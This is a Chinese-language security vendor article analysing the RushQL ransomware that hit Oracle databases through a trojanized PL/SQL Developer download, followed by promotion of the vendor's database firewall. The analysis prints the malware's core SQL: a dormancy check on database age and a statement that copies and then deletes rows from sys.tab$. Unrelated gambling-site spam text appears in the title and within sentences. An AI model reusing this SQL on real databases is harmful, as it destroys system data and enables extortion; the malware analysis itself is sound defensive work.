oracle数据库勒索病毒rushqloracle的应对策略-k8凯发游戏

oracle数据库勒索病毒rushqloracle的应对策略
作者:月飞 发布时间:2018-11-21

一、oracle数据库勒索病毒死灰复燃

2018-11-19 国家信息安全漏洞共享平台正式发布通告“oracle数据库勒索病毒rushql死灰复燃”。转载原文如下:

01.jpg

从这封简短的通告我们可以发现,rushql勒索病毒已经不是第一次肆虐oracle数据库,早在2016年11月就已经在全球掀起了一场血雨腥风。当然,那时候它有个更响亮的名字“比特币勒索病毒”。

目光回溯到2016年11月,全国多家企事业单位遭受比特币勒索通知“你的数据库已被锁死,发送5个比特币到这个地址!”。用户在登陆oracle数据库时出现如下勒索警告信息,被要求上交5个比特币来换取解锁数据库的服务。

02.jpg

时隔整整两年,rushql勒索病毒卷土重来,发动新一轮的肆虐。我们不禁要反问自己:为什么我们会遭到同一勒索病毒连续攻击?数据库安全厂商能帮助数据库用户做些什么?

作为一家专注数据库安全的厂商,安华金和早已对rushql勒索病毒进行了深度的解析并提供了k8凯发游戏的解决方案。

二、勒索病毒攻击原理分析

早在2016年rushql勒索病毒出现的时候,安华金和的攻防实验室就对该病毒做了深度分析,并提供了有效的检测和防护措施。

rushql勒索病毒攻击的目标人群是数据库管理人员(dba)。通过在csdn等网站上恶意散播携带勒索病毒的pl sql developer(pl/sql)软件程序,引诱用户下载并发起勒索攻击。

携带rushql病毒的pl/sql,解压后主目录的afterconnect.sql文件存在异常。官方的pl/sql下afterconnect.sql是空文件,而异常的afterconnect.sql有 35kb。

03.jpg

该脚本的关键代码,采用了 oracle数据库专用代码加密工具wrap进行了加密,我们对病毒脚本进行解密后发现,该脚本的主要功能是创建4个存储过程和3个触发器:

存储过程 dbms_support_internal

存储过程 dbms_standard_fun9

存储过程 dbms_system_interna

存储过程 dbms_core_internal

触发器 dbms_support_internal

触发器 dbms_ system _internal

触发器 dbms_ core _internal

三个触发器本身没有问题,问题在于存储过程。以dbms_support_internal为例,该存储过程的核心是两条sql语句:

第1条sql语句:select nvl(to_char(sysdate-created ),0) into date1 from v$database; if (date1>=1200)

语句含义:根据创建数据库时间和当前时间差值做决定:是立刻入侵数据库实施勒索,还是先保持潜伏直到条件成熟再爆发进行勒索。判断条件为数据库实例创建时间距今是否满足1200天,一旦满足并重启数据库实例则执行第2条sql语句。第2条sql语句:execute immediate'create table orachk'||substr(sys_guid,10)||' tablespace system as select *from sys.tab$';delete sys.tab$ where dataobj# in (selectdataobj# from sys.obj$ where owner# not in (0,38)) ;

语句含义:勒索者首先对tab$中的文件进行备份,然后再删除tab$表中的部分内容清理数据库的备份文件后,向用户弹窗实施勒索。

综上所述,rushql勒索病毒就是通过执行这些脚本入侵oracle数据库。一旦使用这个pl/sql工具访问数据库,相应对象会被后台自动注入数据库,执行触发器阻止后续的用户登录,并通过任务truncate数据库表。

三、专项治理勒索病毒

2014年在国内“数据库安全”方兴未艾之际,安华金和已经开始推广数据库防护墙产品:通过串接部署的方式矗立在数据库最前端,形成了数据库安全的最后一道防线。


安华金和数据库防火墙产品,提供“数据库漏洞攻击防护”能力,是目前应对数据库勒索病毒最高效的产品选择。其防护的范围不仅涵盖cve和cnnvn已经公布的大量数据库漏洞;还深度剖析“勒索病毒”的攻击方式,提供防护手段。


安华金和数据库防火墙产品,可以对oracle数据库的“密文存储过程”进行解密操作。这种准确破解“密文存储过程”的能力,不但在本次勒索案例中十分关键,也是防止第三方工具向数据库发送恶意存储过程的关键,只有准确破解加密包的内容才能进行精确的语法分析。


数据库防火墙能够把这些访问数据库的密文存储过程“明文化”,对“明文”进行sql语法分析,匹配特征值;并对前后关联的sql行为进行分析。如果判断该“语句包”存在恶意行为。产品可以进行会话阻断,并向相关人员进行危险告警,完成对数据库攻击的主动防护。


数据库防火墙产品早以形成内置的“虚拟补丁”规则,专项治理“rushql勒索病毒(比特币攻击)”,如下图:

漏洞类型:恶意代码

漏洞源:攻击者可利用漏洞进行比特币攻击

数据库版本:oracle

04.jpg

勒索病毒入侵数据库多数是利用了数据库已有的安全漏洞,或者是植入恶意的存储过程。数据库长期暴露在应用系统和数据库运维人员的访问之下,如何有效防护勒索病毒?数据库防火墙提出三条k8凯发游戏的解决方案:

①学习期行为建模

产品可自定义学习期,并基于学习期完成语句、会话的建模分析,构建数据库安全防护模型;并具备数据库语法分析能力,可以对sql语句进行抽象描述,将海量的sql语句归类成sql模板,从而定义语句黑白名单规则。

学习期结束后,对非法的访问行为和sql语句主动拦截、阻断,阻止恶意攻击行为。

(注:拦截和阻断的区别:系统支持会话阻断,可准确定位风险来源并阻断会话请求。在会话阻断的基础上,系统提供“语句拦截”的处理机制,仅针对会话里产生风险的sql语句进行拦截,保持会话内其他合规语句的正常操作。)

②漏洞攻击防护

系统提供“虚拟补丁”防护能力,内置大量数据库漏洞防护规则,防护范围包括:系统注入、缓存区溢出、权限提升、数据泄露、拒绝服务等20多种数据库漏洞类型。当外部系统利用数据库漏洞进行入侵时,及时阻断入侵的风险会话。

③敏感数据防护

系统可关联数据库的schema、表、字段等对象信息,建立敏感数据规则。对象之间又可以自定义“与/或”关系,形成敏感数据组。数据库防火墙针对“敏感数据组”建立安全防护体系,可结合“应用信息”、“客户端信息”、“操作行为”等元素共同定义操作规则。通过敏感数据组可以对数据库的“核心系统表”进行有效防护,在允许常规访问的前提下,防止恶意篡改和引用。


网站地图